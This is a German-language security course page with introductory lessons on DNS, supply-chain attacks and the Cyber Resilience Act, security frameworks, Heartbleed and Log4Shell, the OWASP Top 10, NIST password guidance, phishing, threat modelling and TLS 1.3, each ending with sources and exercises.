Security

Akademie

Security

Informationssicherheit von den Grundlagen über Webanwendungen, Identität, Verschlüsselung und Lieferkette bis zu Betrieb, Normen und Recht – mit Querverweisen zu KI-Sicherheit und WordPress.

7 weitere Inhalte sind für Mitglieder mit höherer Stufe. Anmelden · Mitglied werden

DNS verstehen: das Telefonbuch des Internets

Begriffe vorab

DNS: Domain Name System: übersetzt Namen wie example.org in IP-Adressen.
Resolver: Dienst, der DNS-Anfragen für dich beantwortet und zwischenspeichert (Cache).
Autoritativer Server: Server, der die gültigen Einträge einer Domain führt.
DNSSEC: Erweiterung, die DNS-Antworten digital signiert.
DoT / DoH: DNS über TLS bzw. über HTTPS: verschlüsselt die Anfrage zwischen Gerät und Resolver.

Was DNS tut

Menschen merken sich Namen, Computer brauchen IP-Adressen. Das Domain Name System übersetzt zwischen beiden. Es wurde im November 1987 von Paul Mockapetris in den RFC 1034 und RFC 1035 beschrieben und ist ein hierarchisches, verteiltes System mit lokalem Zwischenspeichern (Caching). Es gibt keine zentrale Tabelle: Die Wurzel kennt die Top-Level-Domains, diese kennen die Zuständigen für die einzelnen Domains.

Eine Anfrage Schritt für Schritt

Dein Gerät fragt den eingestellten Resolver (oft beim Router oder Provider) nach www.example.org.
Kennt der Resolver die Antwort nicht im Cache, fragt er sich von oben nach unten durch: Wurzel, Top-Level-Domain (.org), dann den autoritativen Server von example.org.
Die Antwort kommt zurück, wird gespeichert und an dein Gerät gereicht.

Diese Darstellung ist vereinfacht; in der Praxis spielen Cache-Lebensdauern (TTL) und weitere Zwischenstationen mit.

Wo die Sicherheitsprobleme liegen

Echtheit: Klassisches DNS prüft nicht, ob eine Antwort vom richtigen Server stammt. Gefälschte Antworten können Nutzer auf falsche Ziele lenken.
Vertraulichkeit: Anfragen laufen klassisch unverschlüsselt. Wer im Netz mitlesen kann, sieht, welche Namen aufgelöst werden.

Zwei Gegenmittel mit verschiedenen Zielen

DNSSEC (RFC 4033) liefert Herkunftsnachweis und Integrität der DNS-Daten über Signaturen – aber ausdrücklich keine Vertraulichkeit: Antworten sind authentisch, aber nicht verschlüsselt. DNS over TLS (RFC 7858, Port 853) und DNS over HTTPS (RFC 8484, Port 443, im Webverkehr eingebettet) verschlüsseln dagegen die Verbindung zwischen Gerät und Resolver. Beide Verfahren ergänzen sich, ersetzen sich aber nicht.

Beispiel: Domain absichern

Du betreibst meinkurs.example. Du aktivierst DNSSEC bei Registrar und DNS-Anbieter, nutzt Zwei-Faktor beim Registrar-Konto (ein gekapertes Konto ist ein größeres Risiko als jede technische Lücke) und prüfst regelmäßig, ob alle Einträge noch gewollt sind. Auf deinen Geräten stellst du einen Resolver mit DoT oder DoH ein.

DNS ist Vertrauenssache: Wer deine Namensauflösung kontrolliert, kontrolliert, wohin du gelangst.

Zum Selbermachen

Rufe in deinem Betriebssystem die DNS-Einstellungen auf und notiere, welcher Resolver aktiv ist.
Prüfe mit einem öffentlichen Testdienst, ob deine Domain DNSSEC-signiert ist.

Quellen

IETF – RFC 1034 „Domain names – concepts and facilities“ und RFC 1035 „Domain names – implementation and specification“ (P. Mockapetris, November 1987)
IETF – RFC 4033 „DNS Security Introduction and Requirements“
IETF – RFC 7858 „Specification for DNS over Transport Layer Security (TLS)“
IETF – RFC 8484 „DNS Queries over HTTPS (DoH)“

Lieferkettenangriffe und der Cyber Resilience Act

Begriffe vorab

Lieferkette (Software): Alle Komponenten, Werkzeuge und Personen, die in ein Produkt einfließen.
Abhängigkeit: Fremde Bibliothek oder Programm, das dein Produkt nutzt.
Backdoor: Absichtlich eingebauter versteckter Zugang.
CVE: Eindeutige Kennung für eine veröffentlichte Schwachstelle.
CRA: Cyber Resilience Act: EU-Verordnung über Cybersicherheitsanforderungen an Produkte mit digitalen Elementen.

Warum die Lieferkette zählt

Moderne Software besteht zum größten Teil aus fremden Bausteinen. Ein Angriff auf einen Baustein trifft alle, die ihn nutzen – und die Betroffenen haben den Fehler nicht selbst geschrieben. Das ist auch der Grund, warum „veraltete und verwundbare Komponenten“ in der OWASP Top 10 stehen.

Ein Fall: XZ Utils (2024)

Am 29. März 2024 entdeckte der Entwickler Andres Freund (zu der Zeit bei Microsoft), dass die Kompressionsbibliothek XZ Utils in den Versionen 5.6.0 und 5.6.1 eine Hintertür enthielt. Er fand sie, weil ihm Anmeldungen per SSH ungewöhnlich langsam vorkamen. Die Schwachstelle trägt die Kennung CVE-2024-3094 und wurde mit dem höchstmöglichen CVSS-Wert 10,0 bewertet. Die Hintertür wurde im Februar 2024 von einem Konto namens „Jia Tan“ eingebracht und hätte Angreifern mit einem bestimmten privaten Schlüssel Fernzugriff über OpenSSH ermöglicht. Dass die Versionen kaum in produktive Systeme gelangten, war Glück und Aufmerksamkeit.

Was daraus folgt

Kenne deine Abhängigkeiten (Liste der Bestandteile).
Aktualisiere gezielt und beobachte Meldungen zu den Komponenten.
Begrenze Rechte, damit eine kompromittierte Komponente nur begrenzten Schaden anrichtet.
Prüfe auffällige Veränderungen (Laufzeit, Größe, neue Netzwerkverbindungen).

Der Cyber Resilience Act

Die Verordnung (EU) 2024/2847 trat am 10. Dezember 2024 in Kraft. Sie verpflichtet Hersteller von Produkten mit digitalen Elementen zu Sicherheitsanforderungen über den Lebenszyklus. Stufenweise gelten: Meldepflichten für aktiv ausgenutzte Schwachstellen und Sicherheitsvorfälle (Art. 14) seit dem 11. September 2026; die übrigen wesentlichen Pflichten ab dem 11. Dezember 2027. Wer Software oder vernetzte Produkte in der EU anbietet, sollte prüfen, ob er als Hersteller, Importeur oder Händler betroffen ist.

Beispiel: Plugin-Hersteller

Ein Hersteller eines kommerziellen WordPress-Plugins pflegt eine Liste der eingebundenen Bibliotheken, beobachtet deren Sicherheitsmeldungen und hat einen Weg, Schwachstellenmeldungen entgegenzunehmen und Updates auszuliefern. Ob sein Produkt im Einzelfall unter den CRA fällt, ist eine rechtliche Prüfung.

Eine Abhängigkeit ist ein Vertrauensverhältnis: Du vertraust nicht nur dem Code, sondern auch den Menschen und Prozessen dahinter.

Zum Selbermachen

Erstelle eine Liste der Bibliotheken eines eigenen Projekts und notiere, wer sie pflegt.
Lege fest, wie du über Sicherheitsmeldungen zu diesen Bibliotheken informiert wirst.

Quellen

Qualys – „CVE-2024-3094: XZ Utils SSHd Backdoor Vulnerability in Linux“ (29. März 2024)
Rapid7 – „Backdoored XZ Utils (CVE-2024-3094)“ (1. April 2024)
Europäische Kommission – „Cyber Resilience Act“ und „Summary of the legislative text“ (digital-strategy.ec.europa.eu)
Verordnung (EU) 2024/2847 (Cyber Resilience Act)

Literatur und Lesepfad: Security

Begriffe vorab

Primärquelle: Originaltext einer Norm, eines Gesetzes oder einer Studie.
Cheat Sheet: Kompakte praktische Anleitung zu einem Thema.
Standard: Verbindliche oder empfohlene Festlegung einer Organisation.
Leitfaden: Praxisorientierte Handreichung.

Wie die Liste aufgebaut ist

Die Auswahl folgt dem Lernweg dieser Themenwelt: erst Grundlagen, dann Webanwendungen, Identität, Betrieb und Regelwerke. Alle Einträge wurden gegen ihre Fundorte geprüft.

1. Grundlagen

Saltzer, Schroeder (1975) – „The Protection of Information in Computer Systems“. Die acht Entwurfsprinzipien.
DSGVO Art. 32. Rechtliche Formulierung der Schutzziele.

2. Webanwendungen

OWASP Top 10:2021. Überblick der zehn Risikokategorien.
OWASP Cheat Sheet Series. Praktische Anleitungen zu SQL-Injection, XSS und CSRF.
WordPress Developer Resources, „Security“. Validieren, bereinigen, kodieren.

3. Identität und Transport

NIST SP 800-63-4, Teil B. Passwörter und Authentifizierung.
NIST SP 800-207. Zero-Trust-Architektur.
W3C WebAuthn / FIDO Alliance. Passkeys und phishing-resistente Anmeldung.
RFC 8446. TLS 1.3.

4. Lieferkette und Betrieb

Berichte zu CVE-2024-3094 (XZ Utils). Fallstudie.
NIST SP 800-61 Rev. 3. Incident Response.
CISA #StopRansomware Guide. Maßnahmen gegen Ransomware.
MITRE ATT&CK. Angreiferverhalten.

5. Normen und Recht

NIST CSF 2.0. Sechs Funktionen.
ISO/IEC 27001:2022. ISMS-Anforderungen.
BSI IT-Grundschutz-Kompendium und BSI-Standards 200-x. Deutsche Methodik.
Cyber Resilience Act (EU) 2024/2847 und NIS-2-Richtlinie. Pflichten in der EU.

Ein Lesepfad für Einsteiger

Schutzziele und Bedrohungsmodell (diese Themenwelt).
OWASP Top 10 und die Cheat Sheets zu Injection und XSS.
NIST SP 800-63B-4 zu Passwörtern.
NIST CSF 2.0 als Ordnungsrahmen.
Eine Fallstudie wie XZ Utils, um das Gelernte zu verknüpfen.
Danach die KI-Sicherheit: „Agenten: Sicherheit“ und „KI-Sicherheit & Alignment“.

Lies bei Normen und Gesetzen immer die aktuelle Fassung und prüfe, ob sie inzwischen überarbeitet wurde – gerade Listen wie die OWASP Top 10 und Normen wie ISO 27001 werden fortgeschrieben.

So liest du Sicherheitsquellen

Unterscheide drei Arten von Texten: Normen und Gesetze legen Anforderungen fest, Leitfäden und Cheat Sheets zeigen, wie man sie praktisch erfüllt, und Fallstudien machen sichtbar, was passiert, wenn es schiefgeht. Eine gute Lernroutine verbindet alle drei: Erst die Anforderung lesen, dann den Leitfaden anwenden, schließlich an einer Fallstudie prüfen, welche Maßnahme den Vorfall verhindert oder abgemildert hätte. Achte außerdem auf Datum und Version – ein Text von vor fünf Jahren kann in Details überholt sein, etwa bei Passwortregeln.

Primärquellen zuerst: Zusammenfassungen sind praktisch, aber nicht verbindlich.

Zum Selbermachen

Lies ein Cheat Sheet vollständig und setze eine Maßnahme in einem eigenen Projekt um.
Wähle eine Norm aus der Liste und notiere in fünf Sätzen, was sie fordert.

Quellen

Die vollständigen Angaben stehen in den Quellenlisten der vorherigen Lektionen dieser Themenwelt.
Fundorte: owasp.org, cheatsheetseries.owasp.org, pages.nist.gov, csrc.nist.gov, datatracker.ietf.org, attack.mitre.org, cisa.gov, bsi.bund.de, digital-strategy.ec.europa.eu, developer.wordpress.org.

Normen im Überblick: NIST CSF 2.0, ISO 27001, BSI IT-Grundschutz

Begriffe vorab

ISMS: Informationssicherheits-Managementsystem: geregelter Prozess zur Steuerung der Informationssicherheit.
Framework: Strukturierter Rahmen, der Themen und Ziele ordnet.
Control: Einzelne Maßnahme oder Anforderung.
Zertifizierung: Unabhängige Bestätigung, dass Anforderungen einer Norm erfüllt sind.
Absicherungsstufe: Im IT-Grundschutz: Basis-, Standard- oder Kern-Absicherung.

Drei Wege, Sicherheit zu strukturieren

NIST Cybersecurity Framework 2.0

Das NIST veröffentlichte die Version 2.0 am 26. Februar 2024, die erste größere Überarbeitung seit 2014. Sie umfasst sechs Funktionen: Govern (neu: Steuerung, Rollen, Risikobereitschaft), Identify, Protect, Detect, Respond und Recover. Das Framework ist frei verfügbar, branchenübergreifend und eher ein Ordnungsrahmen als eine Zertifizierungsgrundlage.

ISO/IEC 27001:2022

Die Norm beschreibt Anforderungen an ein Informationssicherheits-Managementsystem. Die Ausgabe vom 25. Oktober 2022 enthält im Anhang A 93 Maßnahmen in vier Themen: organisatorisch (37), personenbezogen (8), physisch (14) und technologisch (34). Zuvor waren es 114 Maßnahmen in 14 Bereichen. Organisationen können sich gegen die Norm zertifizieren lassen.

BSI IT-Grundschutz

Der IT-Grundschutz des Bundesamts für Sicherheit in der Informationstechnik besteht aus den BSI-Standards 200-1 (Anforderungen an ein ISMS), 200-2 (Methodik), 200-3 (Risikoanalyse) und 200-4 (Business Continuity Management) sowie dem IT-Grundschutz-Kompendium mit Bausteinen. Die Edition 2023 gliedert sich nach Sekundärquellen in 111 Bausteine in zehn Schichten (u. a. ISMS, ORP, CON, OPS, DER, APP, SYS, IND, NET, INF). Die Methodik kennt Basis-, Standard- und Kern-Absicherung.

Wie wählt man?

Orientierung und Struktur ohne Zertifikat: NIST CSF 2.0.
Internationale Zertifizierung: ISO/IEC 27001.
Deutsche Verwaltung und viele deutsche Organisationen, ausführliche Bausteine: BSI IT-Grundschutz.

Die Rahmenwerke lassen sich kombinieren; die Wahl hängt von Anforderungen von Kundschaft, Aufsicht und Verträgen ab.

Beispiel: kleines Unternehmen

Ein Unternehmen mit zehn Beschäftigten ordnet seine vorhandenen Maßnahmen zunächst den sechs CSF-Funktionen zu, erkennt Lücken bei Govern und Recover, und baut daraus eine Roadmap. Verlangt später ein Großkunde ein Zertifikat, baut es auf diesen Vorarbeiten ein ISMS nach ISO 27001 auf.

Ein Rahmenwerk ist ein Ordnungssystem. Wirksamkeit entsteht erst durch gelebte Maßnahmen, Übungen und Verantwortung.

Zum Selbermachen

Ordne fünf eurer bestehenden Sicherheitsmaßnahmen den sechs CSF-Funktionen zu.
Prüfe, welche Rahmenwerke deine Kundschaft oder Aufsicht verlangt.

Quellen

NIST – „The NIST Cybersecurity Framework (CSF) 2.0“ (NIST CSWP 29, Februar 2024)
ISO/IEC 27001:2022 „Information security, cybersecurity and privacy protection — Information security management systems — Requirements“
BSI – „IT-Grundschutz-Kompendium, Edition 2023“ und BSI-Standards 200-1 bis 200-4 (bsi.bund.de)

Open Source und Sicherheit: Heartbleed, Log4Shell und die Lehren daraus

Begriffe vorab

Open Source: Software, deren Quellcode öffentlich einsehbar ist und unter einer offenen Lizenz weitergegeben werden darf.
Maintainer: Person, die ein Open-Source-Projekt pflegt.
OpenSSF: Open Source Security Foundation: Gemeinschaftsinitiative zur Verbesserung der Sicherheit von Open-Source-Software.
Buffer Over-read: Fehler, bei dem mehr Speicher gelesen wird als vorgesehen.
Zero-Day: Schwachstelle, die ausgenutzt wird, bevor ein Fix existiert.

Offen heißt nicht automatisch geprüft

Die Offenheit von Quellcode ermöglicht Prüfung durch alle. Sie garantiert sie nicht: Wenn niemand hinsieht, hilft Offenheit nicht. Zwei große Fälle machten das sichtbar.

Heartbleed (2014)

Am 7. April 2014 wurde eine Schwachstelle in OpenSSL öffentlich (CVE-2014-0160, „Heartbleed“): Ein Fehler in der Heartbeat-Erweiterung von TLS erlaubte es, pro Anfrage bis zu 64 KB Arbeitsspeicher eines Servers auszulesen, ohne dass das in normalen Protokollen sichtbar war. Betroffen waren die Versionen 1.0.1 bis 1.0.1f. Am Tag der Veröffentlichung erschien eine korrigierte Version.

Die Folge ging über den Code hinaus: Es wurde berichtet, dass das OpenSSL-Projekt zuvor nur etwa 2.000 US-Dollar Spenden pro Jahr erhielt, obwohl es von Millionen Webseiten genutzt wird. Am 24. April 2014 gründete die Linux Foundation die Core Infrastructure Initiative: Zwölf Unternehmen sagten jeweils 100.000 US-Dollar pro Jahr für drei Jahre zu. 2020 ging daraus gemeinsam mit weiteren Initiativen die Open Source Security Foundation (OpenSSF) hervor (Start am 3. August 2020).

Log4Shell (2021)

Die Schwachstelle CVE-2021-44228 in der Java-Protokollierungsbibliothek Apache Log4j2 wurde von Chen Zhaojun (Alibaba Cloud Security Team) am 24. November 2021 an Apache gemeldet. Am 9. Dezember 2021 wurde ein Exploit bekannt, am 10. Dezember erschien die Korrektur in Version 2.15.0; weitere Versionen (2.16.0, 2.17.0, 2.17.1) folgten, als zusätzliche Probleme gefunden wurden. Der CVSS-Wert beträgt 10,0. Die Wirkung war so groß, weil die Bibliothek in sehr vielen Produkten steckt – oft ohne dass Betreiber das wussten.

Die Lehren

Wissen, was drinsteckt: Ohne Liste der Bestandteile (siehe SBOM-Lektion) lässt sich nicht beantworten, ob man betroffen ist.
Schnell patchen können: Updates müssen eingespielt und getestet werden können, ohne dass das Wochen dauert.
Projekte unterstützen: Wer Open Source nutzt, hängt von Menschen ab. Mitarbeit, Spenden und Prüfungen verbessern die Lage.
Fallstudie XZ Utils (2024): Ein Angreifer nutzte den Vertrauensprozess eines Projekts (siehe Lektion zur Lieferkette).

Open Source ist nicht unsicherer oder sicherer als proprietäre Software – es hängt davon ab, wer prüft, pflegt und aktualisiert.

Zum Selbermachen

Frage dich für ein eigenes Projekt: Welche zwei Open-Source-Bibliotheken würden im Ausfall am meisten schaden? Wer pflegt sie?
Lege fest, wie schnell du ein kritisches Update einspielen könntest.

Quellen

CISA – „OpenSSL ‚Heartbleed‘ vulnerability (CVE-2014-0160)“ (8. April 2014)
Linux Foundation – Pressemitteilungen zur Core Infrastructure Initiative (April 2014) und zur Gründung der Open Source Security Foundation (August 2020)
Qualys – „CVE-2021-44228: Log4Shell Apache Log4j2 Zero-Day Flaw“ (10. Dezember 2021)

OWASP Top 10: die häufigsten Webrisiken

Begriffe vorab

OWASP: Open Worldwide Application Security Project, eine gemeinnützige Gemeinschaft für Anwendungssicherheit.
Top 10: Ein Bewusstseinsdokument über die kritischsten Risikokategorien für Webanwendungen.
Access Control: Regeln, wer was tun darf.
Injection: Nicht vertrauenswürdige Daten werden als Befehl interpretiert.
SSRF: Server Side Request Forgery: Der Server wird dazu gebracht, Anfragen im Auftrag eines Angreifers zu stellen.

Was die Liste ist

Die OWASP Top 10 ist ein Überblick über die kritischsten Sicherheitsrisiken für Webanwendungen. Sie ist keine vollständige Prüfliste, sondern ein Einstieg, der Teams und Management auf die wichtigsten Kategorien hinweist. Die hier beschriebene Ausgabe ist OWASP Top 10:2021.

Die zehn Kategorien (2021)

A01 Broken Access Control – fehlerhafte Zugriffskontrolle; stieg in dieser Ausgabe vom fünften auf den ersten Platz
A02 Cryptographic Failures
A03 Injection
A04 Insecure Design
A05 Security Misconfiguration
A06 Vulnerable and Outdated Components
A07 Identification and Authentication Failures
A08 Software and Data Integrity Failures
A09 Security Logging and Monitoring Failures
A10 Server-Side Request Forgery (SSRF)

Wie die Kategorien zusammenhängen

Viele Kategorien sind Gesichter weniger Grundfehler: Vertrauen in Eingaben (Injection, SSRF), fehlende Prüfung auf der Serverseite (Broken Access Control), unsauberer Betrieb (Misconfiguration, veraltete Komponenten, fehlende Protokollierung) und fehlende Planung (Insecure Design). Letzteres fasst OWASP als eigene Kategorie, weil sich manche Fehler nicht durch bessere Programmierung allein beheben lassen, sondern schon im Entwurf angelegt sind.

Ein Beispiel für Broken Access Control

Eine Seite zeigt Rechnungen unter /rechnung?id=1042. Prüft die Anwendung nicht, ob die Rechnung der angemeldeten Person gehört, genügt es, die Zahl zu ändern, um fremde Rechnungen zu sehen. Die Lösung ist eine serverseitige Prüfung bei jedem Abruf, nicht ein „unauffälliger“ Link.

Wie man die Liste nutzt

Als Gesprächsgrundlage in Entwurf und Code-Review.
Als Gliederung für Schulungen.
Nicht als Abschlusstest: Eine Anwendung ohne Fund in zehn Kategorien ist nicht automatisch sicher.

Prüfe regelmäßig, ob eine neuere Ausgabe der Liste erschienen ist, und passe deine Schulungsunterlagen an.

Zum Selbermachen

Gehe für eine eigene Anwendung jede der zehn Kategorien durch und notiere, wo sie relevant sein könnte.
Teste (in einer eigenen Testumgebung), ob ein Nutzer fremde Datensätze durch Ändern einer ID aufrufen kann.

Quellen

OWASP – „OWASP Top 10:2021“ (owasp.org/Top10/2021)
Help Net Security – „OWASP Top 10 2021: The most serious web application security risks“ (24. September 2021)

Passwörter richtig gestalten: NIST SP 800-63B

Begriffe vorab

Memorized Secret: Merkwert, vom NIST-Text für Passwörter verwendet.
Verifier: Das System, das ein Passwort prüft.
Blockliste: Liste bekannter, häufiger oder kompromittierter Passwörter, die abgelehnt werden.
Kompositionsregel: Vorgabe wie „ein Großbuchstabe, eine Ziffer, ein Sonderzeichen“.
Passwortmanager: Programm, das Passwörter erzeugt und speichert.

Was sich geändert hat

Das NIST hat seine Richtlinien zur digitalen Identität in der Revision 4 neu gefasst (SP 800-63-4, 2025). Der Teil 63B zur Authentifizierung stellt viele verbreitete Passwortregeln auf den Kopf. Verifier („Prüfsysteme“) müssen demnach Folgendes beachten:

Länge: Passwörter, die als einziger Faktor dienen, müssen mindestens 15 Zeichen lang sein. Passwörter, die nur Teil einer Mehrfaktor-Anmeldung sind, dürfen kürzer sein, aber mindestens acht Zeichen.
Keine Kompositionsregeln: Vorgaben wie „Groß-, Kleinbuchstaben und Sonderzeichen“ dürfen nicht verlangt werden.
Kein erzwungener Wechsel: Passwörter dürfen nicht regelmäßig zur Änderung verlangt werden; nur bei Hinweis auf eine Kompromittierung ist ein Wechsel zu erzwingen.
Blockliste: Neue Passwörter werden mit einer Liste bekannter, häufiger oder kompromittierter Passwörter verglichen.
Passwortmanager: Sie müssen erlaubt sein; Einfügen per Zwischenablage sollte ermöglicht werden.

Warum diese Regeln sinnvoll sind

Kompositionsregeln und erzwungene Wechsel führen häufig zu vorhersehbaren Mustern („Sommer2025!“ → „Sommer2026!“). Länge und Einmaligkeit schützen besser, und eine Blockliste verhindert die schlechtesten Wahlen. Das ist die Begründung im Sinne der Richtlinie; wie stark der Effekt jeweils ist, hängt vom Einsatz ab.

Beispiel: Registrierungsformular

Ein Formular lehnt „Passwort123“ ab, weil es auf der Blockliste steht, akzeptiert aber „lange-wanderung-durch-den-herbstwald“ ohne Sonderzeichen. Es erlaubt Einfügen aus dem Passwortmanager, kennt kein Ablaufdatum und fordert nur bei Verdacht auf einen Datenabfluss zur Änderung auf.

Für Betreibende und für Nutzende

Betreibende: Regeln gemäß der Richtlinie umsetzen, Passwörter nur als salted Hash speichern, Mehrfaktor anbieten.
Nutzende: pro Dienst ein eigenes Passwort, Passwortmanager nutzen, Mehrfaktor aktivieren.

Länge und Einmaligkeit zählen mehr als Sonderzeichen. Das beste Passwort nützt nichts, wenn es auf mehreren Diensten wiederverwendet wird.

Zum Selbermachen

Prüfe die Passwortregeln deiner eigenen Anwendung gegen die Liste oben.
Aktiviere Mehrfaktor für drei wichtige Konten.

Quellen

NIST – „SP 800-63-4: Digital Identity Guidelines“, Teil „SP 800-63B-4: Authentication and Authenticator Management“ (pages.nist.gov/800-63-4)

Phishing erkennen und richtig reagieren

Begriffe vorab

Phishing: Betrugsversuch, bei dem Nachrichten dazu verleiten, Daten preiszugeben oder Schadsoftware zu öffnen.
Social Engineering: Manipulation von Menschen statt Angriff auf Technik.
Spear Phishing: Gezielter Phishing-Angriff auf eine bestimmte Person oder Gruppe.
Gekürzte URL: Verkürzter Link, der das Ziel verbirgt.
Meldekette: Festgelegter Weg, um Verdachtsfälle zu melden.

Was Phishing ist

Bei Phishing versuchen Kriminelle, Menschen dazu zu bringen, schädliche Links oder Anhänge zu öffnen oder persönliche Daten preiszugeben. Die Köder kommen als E-Mail, SMS, Nachricht in sozialen Netzwerken oder als Anruf. Es ist eine Form des Social Engineering: Angegriffen wird der Mensch, nicht die Technik.

Typische Warnzeichen

Die US-Behörde CISA nennt unter anderem:

Dringlichkeit oder Druck, besonders mit Drohungen bei ausbleibender Reaktion,
Aufforderungen, persönliche oder finanzielle Daten zu senden,
verkürzte, nicht vertrauenswürdige Links,
falsche Absenderadressen oder Linkziele.

Richtig reagieren

Nicht klicken, nichts herunterladen, nicht antworten.
Absender über einen zweiten, bekannten Weg prüfen (Telefonnummer von der echten Webseite, nicht aus der Nachricht).
In Unternehmen die interne Meldekette nutzen, zum Beispiel die IT.
Hast du geklickt oder Daten eingegeben: Passwörter ändern, Mehrfaktor prüfen, Meldung machen. Je früher, desto kleiner der Schaden.

Warum Technik hilft

Menschen werden Fehler machen. Deshalb sind technische Schutzschichten wichtig: Passkeys sind an die Domain gebunden und funktionieren auf gefälschten Seiten nicht (siehe Lektion zu Mehrfaktor und Passkeys). E-Mail-Authentifizierung (SPF, DKIM, DMARC) erschwert es, fremde Absenderadressen zu fälschen.

Beispiel

Eine Mail „Ihr Konto wird in 24 Stunden gesperrt“ führt über einen gekürzten Link auf eine Anmeldeseite. Richtig: Mail nicht öffnen, Anbieter über die selbst eingetippte Adresse besuchen, Mail als Phishing melden. Ein Passkey würde auf der falschen Seite gar nicht angeboten.

Typische Varianten

Phishing tritt in mehreren Formen auf: als E-Mail („Phishing“), als Textnachricht, als Anruf oder als Nachricht in sozialen Netzwerken. Gezielte Angriffe auf einzelne Personen oder Teams werden häufig als Spear Phishing bezeichnet; sie nutzen echte Details wie Namen von Kollegen oder laufende Projekte, um glaubwürdig zu wirken. Je persönlicher eine Nachricht wirkt, desto wichtiger ist die Prüfung über einen zweiten Weg.

Was Organisationen tun können

Eine einfache Meldung ermöglichen (ein Knopf oder eine feste Adresse), damit Verdachtsfälle schnell ankommen.
Verdachtsfälle ohne Schuldzuweisung behandeln, damit sich Betroffene früh melden.
Kurze, regelmäßige Übungen statt seltener langer Schulungen.

Dringlichkeit ist das stärkste Warnzeichen: Seriöse Stellen setzen selten eine Frist von wenigen Stunden mit Drohung.

Zum Selbermachen

Prüfe die letzten fünf ungewöhnlichen Nachrichten in deinem Postfach nach den vier Warnzeichen.
Lege fest, an wen du Verdachtsfälle meldest, und teile das deinem Team mit.

Quellen

CISA – „Recognize and Report Phishing“ (cisa.gov/secure-our-world/recognize-and-report-phishing)

Schutzziele und Bedrohungsmodell

Begriffe vorab

Vertraulichkeit: Nur Berechtigte erhalten Zugriff auf Informationen.
Integrität: Daten und Systeme sind korrekt und nicht unbemerkt verändert.
Verfügbarkeit: Informationen und Dienste stehen bereit, wenn sie gebraucht werden.
Bedrohung: Ein mögliches Ereignis, das Schaden verursachen kann.
Schwachstelle: Eine Schwäche, die eine Bedrohung ausnutzen kann.
Risiko: Zusammenspiel aus Eintrittswahrscheinlichkeit und Schadenshöhe.
Bedrohungsmodell: Strukturierte Antwort auf die Frage: Wer greift was warum und wie an?

Die drei Schutzziele

Informationssicherheit wird klassisch an drei Schutzzielen festgemacht: Vertraulichkeit, Integrität und Verfügbarkeit (englisch „CIA“). Auch das Gesetz greift sie auf: Artikel 32 der DSGVO verlangt, Vertraulichkeit, Integrität, Verfügbarkeit und Belastbarkeit der Systeme und Dienste auf Dauer sicherzustellen. Die Ziele können in Konflikt geraten: Ein System, das niemand erreicht, ist vertraulich, aber nicht verfügbar. Ein offenes System ist verfügbar, aber kaum vertraulich.

Wie Schaden entsteht

Eine Bedrohung (z. B. ein Angreifer, ein Defekt oder ein Bedienfehler) nutzt eine Schwachstelle aus und gefährdet ein Schutzziel eines Werts (Daten, Dienst, Ruf). Das Risiko ergibt sich aus Wahrscheinlichkeit und Schadenshöhe. Sicherheit heißt deshalb nie „alles verhindern“, sondern Risiken bewusst senken, übertragen, akzeptieren oder vermeiden.

Ein Bedrohungsmodell in vier Fragen

Was schützen wir? (Werte, z. B. Kundendaten, Login, Verfügbarkeit des Shops)
Wovor? (Angreifertypen, Fehler, Ausfälle)
Was tun wir dagegen? (Maßnahmen)
Haben wir es gut genug gemacht? (Prüfung, Tests, Überprüfung nach Vorfällen)

Wer diese vier Fragen für ein neues Projekt schriftlich beantwortet, entdeckt viele Lücken, bevor Code geschrieben wird.

Ein durchgespieltes Beispiel: Online-Kursseite

Werte: Zugangsdaten der Lernenden, Kursinhalte, Verfügbarkeit vor einem Prüfungstermin. Bedrohungen: gestohlene Passwörter, manipulierte Plugins, Überlastung. Mögliche Maßnahmen: Mehrfaktor-Anmeldung (Vertraulichkeit), Updates und Integritätsprüfung (Integrität), Backups und Lastgrenzen (Verfügbarkeit). Das Restrisiko – etwa ein unbekannter Fehler in einem Plugin – wird bewusst benannt und mit Überwachung und Wiederherstellungsplan abgefedert.

Ein Sicherheitskonzept beginnt mit der Frage „Was ist uns wichtig?“, nicht mit der Frage „Welches Produkt kaufen wir?“.

Zum Selbermachen

Wähle ein eigenes Projekt und beantworte die vier Fragen des Bedrohungsmodells in je drei Sätzen.
Ordne jede Maßnahme einem der drei Schutzziele zu und prüfe, ob eines unbesetzt bleibt.

Quellen

DSGVO (Verordnung (EU) 2016/679), Art. 32 „Sicherheit der Verarbeitung“
Hinweis: Die Schutzziele sind u. a. in ISO/IEC 27000 definiert; diese Norm wurde hier nicht eingesehen.

TLS 1.3: wie Verschlüsselung auf dem Transportweg funktioniert

Begriffe vorab

TLS: Transport Layer Security, Protokoll zur Absicherung von Verbindungen, z. B. bei HTTPS.
Forward Secrecy: Spätere Schlüsselkompromittierung entschlüsselt keine früheren Verbindungen.
Zertifikat: Bestätigung, dass ein öffentlicher Schlüssel zu einer Domain gehört.
RFC: Request for Comments, Dokumentenreihe der IETF, in der Internetstandards stehen.
Cipher Suite: Kombination aus Verfahren für Schlüsselaustausch, Verschlüsselung und Integrität.

Wofür TLS gut ist

TLS schützt Daten auf dem Weg zwischen Browser und Server vor Mitlesen (Vertraulichkeit), vor Veränderung (Integrität) und stellt über Zertifikate sicher, dass man mit dem richtigen Server spricht (Authentizität). Es ist die Grundlage von HTTPS.

Was TLS 1.3 verbessert

TLS 1.3 wurde im August 2018 als RFC 8446 veröffentlicht (10. August 2018). Gegenüber früheren Versionen wurde viel Altlast entfernt: Der statische RSA-Schlüsselaustausch ist gestrichen, weil er keine Forward Secrecy bietet. Alle verbleibenden Schlüsselaustauschverfahren auf Basis öffentlicher Schlüssel bieten Forward Secrecy. Auch veraltete Verfahren wie RC4 und 3DES sind entfallen. Die Menge der möglichen Einstellungen wird kleiner – das reduziert Fehlkonfigurationen und folgt dem Prinzip „Economy of Mechanism“.

Forward Secrecy anschaulich

Stell dir vor, ein Angreifer zeichnet jahrelang verschlüsselten Verkehr auf und stiehlt später den Langzeitschlüssel des Servers. Ohne Forward Secrecy könnte er alles rückwirkend lesen. Mit Forward Secrecy werden pro Verbindung kurzlebige Schlüssel ausgehandelt; der gestohlene Langzeitschlüssel hilft nicht für die Vergangenheit.

Praktische Folgen für Betreibende

HTTPS überall aktivieren, auch auf Seiten ohne Anmeldung.
Alte Protokollversionen deaktivieren, TLS 1.3 aktivieren, wo der Server es unterstützt.
Zertifikate rechtzeitig erneuern und die Erneuerung automatisieren.
Die Verbindung mit einem Prüfwerkzeug testen und die Ergebnisse dokumentieren.

TLS schützt den Transport, nicht die Anwendung. Eine Seite mit gültigem HTTPS kann trotzdem Injection- oder Zugriffsfehler haben.

